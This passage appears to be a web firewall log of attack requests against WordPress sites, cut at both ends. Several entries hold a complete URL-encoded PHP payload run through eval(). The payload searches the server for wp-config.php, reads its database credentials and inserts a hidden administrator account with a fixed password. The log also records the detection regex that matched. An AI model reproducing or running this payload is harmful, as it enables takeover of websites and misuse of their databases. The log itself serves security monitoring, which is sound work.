fNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:12663\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-user:?1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\ncmgIbF=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 23:38:55","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ybXJBY:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%2